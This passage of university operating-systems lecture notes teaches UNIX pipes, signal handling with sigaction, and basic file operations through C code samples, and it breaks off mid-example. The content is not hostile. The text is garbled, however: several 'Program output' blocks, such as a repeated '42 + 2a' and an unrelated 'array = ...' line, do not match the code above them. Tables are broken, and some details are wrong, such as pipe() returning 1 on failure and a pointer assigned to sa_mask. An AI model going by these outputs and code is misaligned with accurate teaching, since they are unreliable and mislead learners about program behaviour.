It is common to have a convention on how channel data is structured. UNIX pipeline encourage channels to be plain text, so that each program can read from their standard input, do some processing that can involved filtering out data or transforming it, and send the result to the standard out. That standard output is sent to the standard input of the next process in the pipeline. An example in which we print out each unique program that is executing on the system:
$ ps aux | tr -s ' ' | cut -d ' ' -f 11 | sort | uniq
Each of the programs in the pipeline is not configured to print out each unique process, and we are able to compose them together in a pipeline to accomplish the goal.
Processes have resources

Note that descriptors 0-2 are automatically
set up: - STDIN_FILENO -
STDOUT_FILENO - STDERR_FILENO
But how do we create resources? But first off, what are resources? There are many different resources in a UNIX system, but three of the main ones:
files and other file-system objects
(e.g. directories),sockets that are used to communicate over
the network, andpipes that
are used to send data and coordinate between processes.Each of these has very different APIs for creating the
resources. We’ll discuss files later, and will now focus on
pipes.
We’ve seen pipes before:
$ ps aux | tr -s ' ' | cut -d ' ' -f 11 | sort | uniq
(look up each of those commands).
Not what we’re talking about…well, not exactly!
(short for “pipelines”)
A finite channel → a sequence of bytes:

A pipe is accessed using two (file) descriptors14,
| descriptor | function |
|---|---|
fd[0] |
read |
fd[1] |
write |
This can be represented as follows:

The sequence of bytes written to the pipe will be correspondingly read out in a FIFO manner.
int pipe( int pipefd[2] ) ;
defined in <unistd.h>.
The pipe and pipe2 functions
create a pipe resource, and return the two file descriptors
that reference the readable and writable ends of the
pipe.
Return values
| value | meaning |
|---|---|
0 |
success |
1 |
failed |
We use a familiar interface to send/receive data from a
pipe, viz., read() and
write().
Let’s look at a simple example of how to use a
pipe.
/* CSC 2410 Code Sample
* intro to pipes
* Fall 2023
* (c) Sibin Mohan
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <sys/param.h> /* MIN */
#define BUFFER_SIZE 16
int main()
{
char from[BUFFER_SIZE] = {'\0'} ;
char to[BUFFER_SIZE] = {'\0'} ;
int pipe_fds[2] ; // the two FDs for reading/writing
memset( from, 'x', BUFFER_SIZE-1 ) ;
memset (to, '-', BUFFER_SIZE-1 ) ;
if( pipe(pipe_fds) )
{
// non zero is an error!
perror( "Pipe creation failed!" ) ;
exit( EXIT_FAILURE ) ;
}
printf( "BEFORE\n\t from: %s\n\t to: %s\n", from, to ) ;
ssize_t write_return = write( pipe_fds[1], &from, BUFFER_SIZE ) ;
assert( write_return == BUFFER_SIZE ) ; // check how many bytes were written
ssize_t read_return = read( pipe_fds[0], &to, BUFFER_SIZE ) ;
printf( "AFTER\n\t from: %s\n\t to: %s\n", from, to ) ;
printf( "\n" ) ;
return 0 ;
}
Output, as expected:
BEFORE
from: xxxxxxxxxxxxxxx
to: ---------------
AFTER
from: xxxxxxxxxxxxxxx
to: xxxxxxxxxxxxxxx
Now, let’s change things a bit. Let’s make the
from buffer really LARGE!
/* CSC 2410 Code Sample
* intro to pipes
* Fall 2023
* (c) Sibin Mohan
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <sys/param.h> /* MIN */
#define BUFFER_SIZE 16
#define LARGE_BUFFER_SIZE 1<<18
int main()
{
char from[LARGE_BUFFER_SIZE] = {'\0'} ;
char to[BUFFER_SIZE] = {'\0'} ;
int pipe_fds[2] ; // the two FDs for reading/writing
memset( from, 'x', LARGE_BUFFER_SIZE-1 ) ;
memset (to, '-', BUFFER_SIZE-1 ) ;
if( pipe(pipe_fds) )
{
// non zero is an error!
perror( "Pipe creation failed!" ) ;
exit( EXIT_FAILURE ) ;
}
ssize_t write_return = write( pipe_fds[1], &from, LARGE_BUFFER_SIZE ) ;
printf( "Here!\n" ) ;
assert( write_return == LARGE_BUFFER_SIZE ) ; // check how many bytes were written
ssize_t read_return = read( pipe_fds[0], &to, BUFFER_SIZE ) ;
printf( "AFTER\n\t to: %s\n", from, to ) ;
printf( "\n" ) ;
return 0 ;
}
Output is empty and the program doesn’t terminate. Why? Two reasons:
64k on moder linux)write() blocks until a
read() clears some space in the pipe
buffer.You can get/set the size of the pipe buffer. See
man 7 pipe for more details.
so, what do we need to do? We need to
clear the pipe buffer by using
read.
Why does this not work?
/* CSC 2410 Code Sample
* intro to pipes
* Fall 2023
* (c) Sibin Mohan
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <sys/param.h> /* MIN */
#define BUFFER_SIZE 16
#define LARGE_BUFFER_SIZE 1<<18
int main()
{
char from[LARGE_BUFFER_SIZE] = {'\0'} ;
char to[LARGE_BUFFER_SIZE] = {'\0'} ;
int pipe_fds[2] ; // the two FDs for reading/writing
memset( from, 'x', LARGE_BUFFER_SIZE-1 ) ;
memset (to, '-', LARGE_BUFFER_SIZE-1 ) ;
if( pipe(pipe_fds) )
{
// non zero is an error!
perror( "Pipe creation failed!" ) ;
exit( EXIT_FAILURE ) ;
}
ssize_t write_return = write( pipe_fds[1], &from, LARGE_BUFFER_SIZE ) ;
printf( "Here!\n" ) ;
assert( write_return == LARGE_BUFFER_SIZE ) ; // check how many bytes were written
ssize_t read_return = read( pipe_fds[0], &to, LARGE_BUFFER_SIZE ) ;
printf( "\n" ) ;
return 0 ;
}
Because the write() is still
blocked! We haven’t cleared the pipe buffer. The
write() call has not returned and so
the read() call cannot run!
Note: this is not parallel execution!
So, let’s fix it. By writing and reading inside a loop, using smaller chunks of read/write each time.
/* CSC 2410 Code Sample
* intro to pipes
* Fall 2023
* (c) Sibin Mohan
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <sys/param.h> /* MIN */
#define BUFFER_SIZE 16
#define LARGE_BUFFER_SIZE 1<<18
#define WRITE_CHUNK 1<<8
int main()
{
char from[LARGE_BUFFER_SIZE] = {'\0'} ;
char to[LARGE_BUFFER_SIZE] = {'\0'} ;
int pipe_fds[2] ; // the two FDs for reading/writing
memset( from, 'x', LARGE_BUFFER_SIZE-1 ) ;
memset (to, '-', LARGE_BUFFER_SIZE-1 ) ;
int buffer_size = sizeof(from) ;
if( pipe(pipe_fds) )
{
// non zero is an error!
perror( "Pipe creation failed!" ) ;
exit( EXIT_FAILURE ) ;
}
size_t written = 0 ;
while( buffer_size )
{
ssize_t write_return, read_return ;
size_t write_amount = MIN( buffer_size, WRITE_CHUNK ) ;
write_return = write( pipe_fds[1], &from[written], write_amount ) ;
if( write_return < 0 )
{
perror( "Error writing to pipe!" ) ;
exit(EXIT_FAILURE) ;
}
read_return = read( pipe_fds[0], &to[written], write_return ) ;
assert( read_return == write_return ) ;
// what's going on here?
buffer_size -= write_return ;
written += write_return ;
}
assert( memcmp( from, to, sizeof(from) ) == 0 ) ;
printf( "from and to are IDENTICAL!\n" ) ;
printf( "\n" ) ;
return 0 ;
}
Now, let’s make this more interesting (and actually
useful)! Let’s send data between processes,
i.e., using fork()!
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <assert.h>
/* Large array containing 2^20 characters */
char from[1 << 20];
char to[1 << 20];
int main(void)
{
int pipe_fds[2]; /* see `man 3 pipe`: `[0]` = read end, `[1]` = write end */
pid_t pid;
size_t buf_sz = sizeof(from);
if (pipe(pipe_fds) == -1) {
perror("pipe creation");
exit(EXIT_FAILURE);
}
/* descriptors copied into each process during `fork`! */
pid = fork();
if (pid < 0) {
perror("fork error");
exit(EXIT_FAILURE);
} else if (pid == 0) { /* child */
ssize_t ret_w;
close(pipe_fds[0]); /* we aren't reading! */
ret_w = write(pipe_fds[1], from, buf_sz);
if (ret_w < 0) {
perror("write to pipe");
exit(EXIT_FAILURE);
}
assert((size_t)ret_w == buf_sz);
printf("Child sent whole message!\n");
} else { /* parent */
ssize_t ret_r;
ssize_t rest = buf_sz, offset = 0;
close(pipe_fds[1]); /* we aren't writing! */
while (rest > 0) {
ret_r = read(pipe_fds[0], &to[offset], rest);
if (ret_r < 0) {
perror("read from pipe");
exit(EXIT_FAILURE);
}
rest -= ret_r;
offset += ret_r;
}
printf("Parent got the message!\n");
}
return 0;
}
Program output:
array = 3 2341 2344 8632 747645
The concurrency of the system enables separate
processes to be active at the same time, thus for the
write and read to be transferring
data through the pipe at the same time. This
simplifies our code as we don’t need to worry about sending
chunks of our data.
Note that we’re closeing the end of the pipe
that we aren’t using in the corresponding processes. Though
the file descriptors are identical in each process following
fork, each process does have a
separate set of those descriptors. Thus closing in
one, doesn’t impact the other.
Remember, processes provide isolation!
We can start to understand part of how to a shell might be implemented now!
Setting up pipes. Lets start with the
more obvious: for each | in a command, the
shell will create a new pipe. It is a little
less obvious to understand how the standard output for one
process is hooked up through a pipe to the
standard input of the next process. To do this, the shell
does the following procedure:
pipe.fork the processes (a fork for
each process in a pipeline).close(STDOUT_FILENO), and dup2 the
writable file descriptor in the pipe into
STDOUT_FILENO.close(STDIN_FILENO), and dup2 the
readable file descriptor in the pipe into
STDIN_FILENO.Due to this careful usage of close
to get rid of the old standard in/out, and dup
or dup2 to methodically replace it with the
pipe, we can see how the shell sets up the processes in a
pipeline!
Lets go over an example of setting up the file descriptors for a child process. This does not set up the pipe-based communication between two children, so is not sufficient for a shell; but it is well on the way. Pipes contain arbitrary streams of bytes, not just characters. This example will
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
void perror_exit(char *s)
{
perror(s);
exit(EXIT_FAILURE);
}
int main(void)
{
int fds[2];
pid_t pid;
/* make the pipe before we fork, so we can acccess it in each process */
if (pipe(fds) == -1) perror_exit("Opening pipe");
pid = fork();
if (pid == -1) perror_exit("Forking process");
if (pid == 0) { /* child */
/* Same as above, but for standard output */
close(STDOUT_FILENO);
if (dup2(fds[1], STDOUT_FILENO) == -1) perror_exit("child dup stdout");
close(fds[0]);
close(fds[1]);
printf("%d %c %x", 42, '+', 42);
fflush(stdout); /* make sure that we output to the stdout */
exit(EXIT_SUCCESS);
} else { /* parent */
int a, c;
char b;
/* close standard in... */
close(STDIN_FILENO);
/* ...and replace it with the input side of the pipe */
if (dup2(fds[0], STDIN_FILENO) == -1) perror_exit("parent dup stdin");
/*
* if we don't close the pipes, the child will
* always wait for additional input
*/
close(fds[0]);
close(fds[1]);
scanf("%d %c %x", &a, &b, &c);
printf("%d %c %x", a, b, c);
if (wait(NULL) == -1) perror_exit("parent's wait");
}
return 0;
}
Program output:
42 + 2a
Closing pipes. reading from
a pipe will return that there is no more data on the pipe
(i.e. return 0) only if all
write-ends of the pipe are
closed.
This makes sense because we think of a pipe as a
potentially infinite stream of bytes, thus the only way the
system can know that there are no more bytes to be
read, is if the write end of the
pipe cannot receive more data, i.e. if it is
closed.
This seems simple, in principle, but when implementing a
shell, you use dup to make multiple copies of
the write file descriptor. In this case, the
shell must be very careful to close its own copies because
if any write end of a pipe is open, the
reader will not realize when there is no more data
left. If you implement a shell, and it seems like
commands are hanging, and not exiting, this is
likely why.
Question. If we wanted to have a parent,
shell process setup two child connected by |,
what would the final picture (in the image of the
pictures above) look like?
We’re used to sequential execution in our
processes. Each instruction executes after the previous in
the “instruction stream”. However, systems also require
exceptional execution patterns. What happens when
you access memory that doesn’t exist
(e.g. *(int *)NULL); when you divide by
0; when a user types cntl-c; when
a process terminates; or when you make a call to access a
descriptor which somehow is not accessible outside of the
call15?
Consider the following code where we try to access
(dereference) address NULL.
/* CSC 2410 Code Sample
* intro to signals
* Fall 2023
* (c) Sibin Mohan
*/
int main()
{
// some standard errors
int* a = (int*)NULL ;
*a = 10 ;
return 0 ;
}
What happens with the following code?
/* CSC 2410 Code Sample
* intro to signals
* Fall 2023
* (c) Sibin Mohan
*/
int main()
{
// some standard errors
int div = 100/0 ;
return 0 ;
}
Programs crash! Unless you plan to “handle” it!
UNIX’s signals provide asynchronous execution in a process: - provide asynchronous execution - when a signal activates, - a “signal handler” function is activated - regardless of what was executing!
Signals can be used for, - dealing with
exceptions, e.g., - invalid access →
*(int *)NULL - divide by 0 -
tracking time → ualarm - parent/child
coordination → SIGTERM - …
Let’s look at a basic setup for using signals:
#include <signal.h> /* sigaction and SIG* */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
// this is the interface for the signal fault handler!
void sig_fault_handler(int signal_number, siginfo_t *info, void *context)
{
/* printf has problems here; see "The Dark Side of Signals" */
printf("My downfall is the forbidden fruit at address %p.\n", info->si_addr);
/* Question: what happens if we comment this out? */
exit(EXIT_FAILURE);
return;
}
int main(void)
{
sigset_t masked;
struct sigaction siginfo;
int ret;
sigemptyset(&masked);
sigaddset(&masked, SIGSEGV);
siginfo = (struct sigaction) {
.sa_sigaction = sig_fault_handler,
.sa_mask = masked,
.sa_flags = SA_RESTART | SA_SIGINFO /* we'll see this later */
};
if (sigaction(SIGSEGV, &siginfo, NULL) == -1) {
perror("sigaction error");
exit(EXIT_FAILURE);
}
printf("Lets live dangerously\n");
ret = *(int *)NULL;
printf("I live!\n");
return 0;
}
Program output:
42 + 2a
We can actually execute in the signal handler when we access invalid memory! We can write code to execute in response to a segmentation fault. This is how Java prints out a backtrace.
Let’s explore the concepts in the above code and the signals interface in general.
sigset_t0s or 1s![]()
| value | meaning |
|---|---|
| signals can nest | |
| signals cannot nest | |
Essentially….sigset_t tells us…when a signal
executes, - can others occur? - if so, which
ones?
sigset_t functionsDefined in <signal.h> to manage the
sigset_t data structure. |name|function|
|—-|——–| |sigemptyset| initialize/empty the
signal set
i.e., “unmask” all|
|sigfullset| initializefill the signal set
i.e., “mask” all|
|sigaddset|add specific signal to set
i.e., “mask” specific one|
|sigdelset|remove specific signal from
set
i.e., “mask” specific one|
|sigismember|checks whether given signal is
part of the set|
sig_fault_handler"handler"In the example of SIGSEGV above, here, the signal handler is called whenever we access invalid memory (e.g. segmentation fault).
sigactionThe function that sets up signal handler for a specific signal:
#include "signal.h"
int sigaction( int signum,
const struct sigaction *restrict act,
struct sigaction *restrict oldact ) ;
struct sigactionstruct sigaction {
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
sigset_t sa_mask;
int sa_flags;
void (*sa_restorer)(void);
} ;
…for using signals

There are signals for quite a few events. A list of all
of the signals is listed in man 7 signal and
glibc has decent documentation.
Notable signals include: |signal| description | |——–|——–|
|SIGCHILD | child process terminated |
|SIGINT | user typed ctrl-c |
|SIGSTOP/SIGCONT | stop/continue child
execution | |SIGTSTP | user typed
ctrl-z | |SIGTPIPE | write to a
pipe with no reader | |SIGSEGV | invalid memory
access [segmentation fault] | |SIGTERM/SIGKILL
| kill a process; SIGTERM can be caught,
SIGKILL not | |SIGHUP | kill
terminal that created shell | |SIGALRM |
notification that time has passed |
|SIGUSR1/SIGUSR2 |
user-defined signal handlers | ||
Note: SIGKILL/SIGTOP -
cannot be “caught” - to deal with unresponsive processes -
SIGCONT → continue process after SIGSTOP
Each signal has a default behavior that triggers if you do not define a handler. These are: * ignore * terminate process * stop process from executing * continue execution
sa_sigactionWe have seen (and used) this struct:
struct sigaction {
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
sigset_t sa_mask;
int sa_flags;
void (*sa_restorer)(void);
};
Program output:
42 + 2a
Why two function pointers? -
(*sa_handler) -
(*sa_sigaction)
One takes more information than the other
void (*sa_handler)(int);`
void (*sa_sigaction)(int, siginfo_t *, void *);
Program output:
42 + 2a
choice of which → depends on a flag that is set.
Provide flags to sa_flags member:
| flag | result |
|---|---|
SA_SIGINFO |
use the *sa_sigaction handler
(i.e., take more information) |
SA_RESTART |
make sure system calls are ‘restartable’ |
| (many others) | … |
man 2 sigaction for more details.
Now let’s use another signal, SIGALRM. Use
the following code example:
/* CSC 2410 Code Sample
* intro to signals
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
// why volatile?
volatile int timers = 0 ;
// the signal hanlder
void my_timer_handler( int signal_number, siginfo_t* info,
void* context )
{
// Handler for SIGALRM
printf( "Inside Alarm Handler!\n" ) ;
++timers ;
return ;
}
// the function pointer for the signal handler type
typedef void(*signal_handler_function)( int, siginfo_t*, void* ) ;
// We can use a function to set up the signal,
// hide all the sigset, sigaction stuff using this
// EXPLAIN this function
void setup_signal( int signal_number,
signal_handler_function func,
int sa_flags )
{
sigset_t masked ; // bitmask
sigemptyset( &masked ) ; // clear the mask
sigaddset( &masked, signal_number ) ; // set only bit for SIGSEGV
struct sigaction siginfo = (struct sigaction){
.sa_sigaction = func,
.sa_mask = &masked,
.sa_flags = sa_flags
} ;
if( sigaction( signal_number, &siginfo, NULL ) == -1 )
{
perror( "sigaction failed!" ) ;
exit(EXIT_FAILURE) ;
}
}
int main()
{
int t = timers ;
setup_signal( SIGALRM, my_timer_handler, (SA_RESTART | SA_SIGINFO) ) ;
pid_t pid ;
if( (pid = fork()) == 0 )
{
// Child process
pause() ;
exit( EXIT_SUCCESS ) ;
}
// We did setup_signal BEFORE fork(). Parent/child both get signal info!
ualarm( 1000, 1000 ) ; // 1000 us --> 1 ms
// alarm(1) ; // same as previous ualarm? SHOW BOTH!
while (t < 10)
{
if( timers > t )
{
printf( "Count: %d\n", t ) ;
t = timers ;
}
}
printf( "\n" ) ;
return 0 ;
}
*Question**: Track and explain the control flow through this program.
SIGKILL and SIGSTOP are unique
in that they cannot be disabled, and handlers for
them cannot be defined. They enable non-optional control of
a child by the parent.
Another example of coordination between parent and child
processes. We can use signals to get a notification that
a child has exited! Additionally, we can send the
SIGTERM signal to terminate a process (this is
used to implement the kill command line program
– see man 1 kill).
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h> /* kill, pause */
#include <assert.h>
#include <sys/wait.h>
void sig_handler(int signal_number, siginfo_t *info, void *context)
{
switch(signal_number) {
case SIGCHLD: {
/* see documentation on `siginfo_t` in `man sigaction` */
printf("%d: Child process %d has exited.\n", getpid(), info->si_pid);
fflush(stdout);
break;
}
case SIGTERM: {
printf("%d: We've been asked to terminate. Exit!\n", getpid());
fflush(stdout);
exit(EXIT_SUCCESS);
break;
}}
return;
}
void setup_signal(int signo, void (*fn)(int , siginfo_t *, void *))
{
sigset_t masked;
struct sigaction siginfo;
int ret;
sigemptyset(&masked);
sigaddset(&masked, signo);
siginfo = (struct sigaction) {
.sa_sigaction = fn,
.sa_mask = masked,
.sa_flags = SA_RESTART | SA_SIGINFO
};
if (sigaction(signo, &siginfo, NULL) == -1) {
perror("sigaction error");
exit(EXIT_FAILURE);
}
}
int main(void)
{
pid_t pid;
int status;
setup_signal(SIGCHLD, sig_handler);
setup_signal(SIGTERM, sig_handler);
/*
* The signal infromation is inherited across a fork,
* and is set the same for the parent and the child.
*/
pid = fork();
if (pid == -1) {
perror("fork");
exit(EXIT_FAILURE);
}
if (pid == 0) {
pause(); /* stop execution, wake upon signal */
exit(EXIT_SUCCESS);
}
printf("%d: Parent asking child (%d) to terminate\n", getpid(), pid);
kill(pid, SIGTERM); /* send the child the TERM signal */
/* Wait for the sigchild notification of child termination! */
pause();
/* this should return immediately because waited for sigchld! */
assert(pid == wait(&status));
assert(WIFEXITED(status));
return 0;
}
Program output:
42 + 2a
Note: You want to run this a few times on your system to see the output. The auto-execution scripts of the lectures might cause wonky effects here due to concurrency.
We now see a couple of new features:
SIGCHLD signal is activated in the
parent when a child process exits.kill function to send a
signal to a another process owned by the same user
(e.g. gparmer).pause call says to stop execution (to
pause) until a signal is triggered.
A couple of additional important functions:
raise will trigger a signal in the current
process (it is effectively a
kill(getpid(), ...)).ualarm will set a recurring
SIGALRM signal. This can be quite useful if
your program needs to keep track of time in some way.
Signals are dangerous mechanisms in some situations. It can be difficult to use them properly, and avoid bugs. Signals complication data-structures as only functionality that is re-eentrant should be used in signal handlers, and they complicate the logic around all system calls as they can interrupt slow system calls.
Two main problems: 1. problems with “slow” system calls 2. only “reentrant” data structures
wait or
readwait → returns even if child didn’t
exitread → returns despite not
reading data!So how do you tell the difference between the blocking
function returning properly, or returning because it was
interrupted by a signal? The answer is, of course, in the
man pages – look at the
return/errno values: -
function will return -1 - errno will be set to
EINTR
Given this, we see the problem with this design: now the programmer must add logic for every single system call that can block to check this condition. Yikes16.
Luckily, UNIX provides a means to disable the
interruption of blocking calls by setting the
SA_RESTART flag to the sa_flags
field of the sigaction struct passed to the
sigaction call.
Note: that the code above already sets this as I consider it a default requirement if you’re setting up signal handlers.
The use of SA_RESTART can have interesting
side effects, especially for slow system
calls! Lets see the explicit interaction with between the
slow call wait, and the signal handler:
/* CSC 2410 Code Sample
* intro to signals
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
void my_timer_handler( int signal_number, siginfo_t* info,
void* context )
{
// Handler for SIGALRM
printf( "Inside Alarm Handler!\n" ) ;
return ;
}
// the function pointer for the signal handler type
typedef void(*signal_handler_function)( int, siginfo_t*, void* ) ;
// We can use a function to set up the signal,
// hide all the sigset, sigaction stuff using this
void setup_signal( int signal_number,
signal_handler_function func,
int sa_flags )
{
sigset_t masked ; // bitmask
sigemptyset( &masked ) ; // clear the mask
sigaddset( &masked, signal_number ) ; // set only bit for given signal
struct sigaction siginfo = (struct sigaction){
.sa_sigaction = func,
.sa_mask = &masked,
.sa_flags = sa_flags
} ;
if( sigaction( signal_number, &siginfo, NULL ) == -1 )
{
perror( "sigaction failed!" ) ;
exit(EXIT_FAILURE) ;
}
}
int main()
{
// comment out one or the other of this to see the different behaviors
setup_signal( SIGALRM, my_timer_handler, (SA_SIGINFO) ) ;
// setup_signal( SIGALRM, my_timer_handler, (SA_RESTART | SA_SIGINFO) ) ;
pid_t pid ;
if( (pid = fork()) == 0 )
{
// Child process
pause() ; // wait for a signal
exit( EXIT_SUCCESS ) ;
}
alarm(1);
while (1)
{
pid_t ret = wait(NULL) ;
if( ret == -1 )
{
if( errno == EINTR )
{
// Child didn't exit properly
printf( "System call interrupted by Signal\n" ) ;
kill( pid, SIGTERM ) ; // end the child process
// return -1 ;
}
else if( errno == ECHILD )
{
// this code may NEVER execute!
printf( "Child exited cleanly\n" ) ;
return 0 ;
}
}
}
printf( "\n" ) ;
return 0 ;
}
Program output:
42 + 2a
Comment out one of the other of the
setup_signal function calls in
main() to see very different behaviors.
Signal handlers execute by interrupting the currently executing instructions, regardless what computations they are performing. Because we don’t really know anything about what was executing when a signal handler started, we have to an issue. What if an action in the signal handler in some way conflicts with the action it interrupted?
Consider printf, - copies data into a buffer
- calls write → send buffer to standard output
- a signal raised between the two? - signal calls
printf!
The data written by the earlier printf()
will be overwritten/discarded by the later one!
Any function that has these issues is called non-reentrant. Yikes.
Consider the following example that overwrites
errno with (potentially) disastrous
effects!
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>
void sig_handler(int signal_number, siginfo_t *info, void *context)
{
/*
* Reset `errno`! In a real program, this might instead be a call that causes
* an error setting `errno` to whatever the error is for *that call*.
*/
errno = 0;
return;
}
void setup_signal(int signo)
{
sigset_t masked;
struct sigaction siginfo;
int ret;
sigemptyset(&masked);
sigaddset(&masked, signo);
siginfo = (struct sigaction) {
.sa_sigaction = sig_handler,
.sa_mask = masked,
.sa_flags = SA_RESTART | SA_SIGINFO
};
if (sigaction(signo, &siginfo, NULL) == -1) {
perror("sigaction error");
exit(EXIT_FAILURE);
}
}
int main(void)
{
setup_signal(SIGUSR1);
assert(read(400, "not going to work", 10) == -1);
raise(SIGUSR1);
printf("errno should be \"Bad file descriptor\", but has value \"%s\"\n", strerror(errno));
return 0;
}
Program output:
42 + 2a
The set of functions you can call in a signal
handler (i.e. that are re-entrant) are listed in
the manual page: man 7 signal-safety.
Notably these do not include the likes of -
printf/snprintf -
malloc - exit (though
_exit is fine) - functions that set
errno! - …
It is hard to do much in a program of any complexity
without snprintf (called by
printf), malloc, or use
errno. A very common modern way to handle this
situation is to create a pipe into which the
signal handlers write a notification (e.g. the
signal number), while the main flow execution
reads from the pipe. This enables the main
execution in our programs to handle these notifications.
However, this is only really possible and feasible when we
get to poll later, and can block waiting for
any of a number of file descriptors, including this
pipe.
Note that in most cases, you won’t see a bug due to using non-re-entrant functions in your signal handlers. These bugs are heavily non-deterministic, and are dependent on exactly what instructions were interrupted when the signal activated. This may feel like a good thing: buggy behavior is very rare! But reality is opposite: rare, non-deterministic bugs become very very hard to debug and test. Worse, these bugs that pass your testing are more likely to happen in customer’s systems that might have different concurrency patterns. So it is nearly impossible to debug/test for these bugs, and they are more likely to cause problems in your customer’s environment. Again, yikes.
The filesystem is one of the core abstractions on UNIX systems and indeed, on modern OSes. Each file is identified by a path through directories.
Remember the UNIX philosophy: everything is a file!
This is a strange statement as it raises the question “what wouldn’t normally be a file?” Some examples:
| location | description |
|---|---|
/proc/* |
processes |
/dev/* |
devices (hard disk, keyboards,…) |
/dev/random |
random values |
/sys/* |
power settings |
/dev/null |
“nothing” |
Note:
/proc/*! These
files are used to provide “task monitor” type functionality
(showing running processes) and gdb./dev/*!
You can actually cat a file directly to your
disk17!/dev/random./dev/null18./sys/* for that.Remember the high-level directory structure of modern Linux:

When everything is a file, it can all be manipulated and
accessed using the exactly same functions and APIs as the
normal files in the system, e.g.,
open, close, read,
write, etc.
This means that all of the shell programs we’ve seen can be used not just to operate on files, but also on processes or devices!
Here are the basic APIs for file operations:
open( path, flags, ... )
file descriptor → to access
file“flags” must be one of
O_RDONLY → only read from
the fileO_WRONLY → only write from
the fileO_CREAT → create the file
if it doesn’t existO_RDONLY | O_CREATWhen using O_CREAT → pass the third arg, “mode”:
open("my_file_name.txt", O_RDWR | O_CREAT, 0700)
Whenever you see “flags”, you should think of them as a
set of bits, and each of the options as a single bit. The
above example will create the file,
my_file_name.txt if it doesn’t exist already
and open it for reading and writing.
Note that when you pass in O_CREAT, you
should pass in the third argument, the mode
(for now, just always pass in 0700!).
read, write
We’ve seen them before when using pipes!
close
free for descriptorsstat
pathinfo structureint stat(path, struct stat *info)fstat → same, but uses fd struct stat {
dev_t st_dev; /* device inode resides on */
ino_t st_ino; /* inode's number */
mode_t st_mode; /* inode protection mode */
nlink_t st_nlink; /* number of hard links to the file */
uid_t st_uid; /* user-id of owner */
gid_t st_gid; /* group-id of owner */
dev_t st_rdev; /* device type, for special file inode */
struct timespec st_atimespec; /* time of last access */
struct timespec st_mtimespec; /* time of last data modification */
struct timespec st_ctimespec; /* time of last file status change */
off_t st_size; /* file size, in bytes */
quad_t st_blocks; /* blocks allocated for file */
u_long st_blksize;/* optimal file sys I/O ops blocksize */
u_long st_flags; /* user defined flags for file */
u_long st_gen; /* file generation number */
};
The structure is documented in the man page,
but it includes, for example, the file size. It is defined
in <sys/stat.h>.
unlink()
rm
programIt is really important that quite a few interesting functions operate on descriptors, which might reference pipes, files, the terminal, or other resources. This means that processes can operate on descriptors and not care what resources back them. This enables shells to implement pipelines and the redirection of output to files, all without the processes knowing! It enables
forked processes to inherit these resources from its parent. In this way, descriptors and the functions to operate on them are a polymorphic foundation (in the sense of object-oriented polymorphism) to accessing the system.
Now, let’s look at an example of basic file operations:
/* CSC 2410 Code Sample
* intro to reading and writing on files
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <assert.h>
#include <sys/stat.h>
#define TWEET_LEN 280
int main()
{
char tweet[TWEET_LEN] ;
int fd = open( "./daffodils.txt", O_RDONLY ) ;
if( fd == -1 )
{
perror( "File daffodils.txt failed to open!" ) ;
exit( EXIT_FAILURE ) ;
}
// what is the size of the file?
struct stat file_info ;
int ret = fstat( fd, &file_info ) ;
assert( ret >=0 ) ;
printf( "Number of characters in file: %ld\n", file_info.st_size ) ;
// Read TWEET_LEN number of characters from file
ret = read( fd, tweet, TWEET_LEN ) ;
assert( ret == TWEET_LEN ) ;
write( STDOUT_FILENO, tweet, TWEET_LEN ) ;
ret = read( fd, tweet, TWEET_LEN ) ;
assert( ret == TWEET_LEN ) ;
write( STDOUT_FILENO, tweet, TWEET_LEN ) ;
close(fd) ; // close the file.
return 0 ;
}
We see something a little strange with files as compared
to pipes.
Files vs Pipes:
| files | pipes |
|---|---|
| finite size | potentially “infinite” |
| data is permanent | temporary → only until read |
| forward/backward | no movement (FIFO) |
For files, subsequent reads and writes must progress through the contents of the file, but we must also to be able to go back and read previously read data.
Lets understand what happens when we read or
write from a file – we’ll focus only on
read to start, but both behave similarly.
First, each fd19 tracks an
“offset” - offset determines where
we read/write in file
Lets go through an example of a file that contains the alphabet:
For freshly opened files → offset = 0
A read(fd, buf, 10) that returns
10 (saying that 10 bytes or
characters a through j was
successfully read) advances offset by
10.
Thus, an additional read will start reading from the file at
k. The offset, then, enables subsequent reads
to iterate through a file’s contents.
write() uses the offset identically.
There are many cases in which we might want to modify the
offset. For example, databases want to jump
around a file to find exactly the interesting records,
playing audio and video requires us to skip around a file
finding the appropriate frames. So, we use:
off_t lseek(int fd, off_t update, int whence)
“whence”?

how to update the
offset
| value | how updated |
|---|---|
SEEK_SET |
offset = update |
SEEK_CUR |
offset += update |
SEEK_END |
offset = eof + update |
eof → end of file
Let’s update our previous example to use
lseek() to reset to the start of the file.
/* CSC 2410 Code Sample
* intro to reading and writing on files
* Fall 2023
* (c) Sibin Mohan
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <assert.h>
#include <sys/stat.h>
#define TWEET_LEN 280
int main()
{
char tweet[TWEET_LEN] ;
int fd = open( "./daffodils.txt", O_RDONLY ) ;
if( fd == -1 )
{
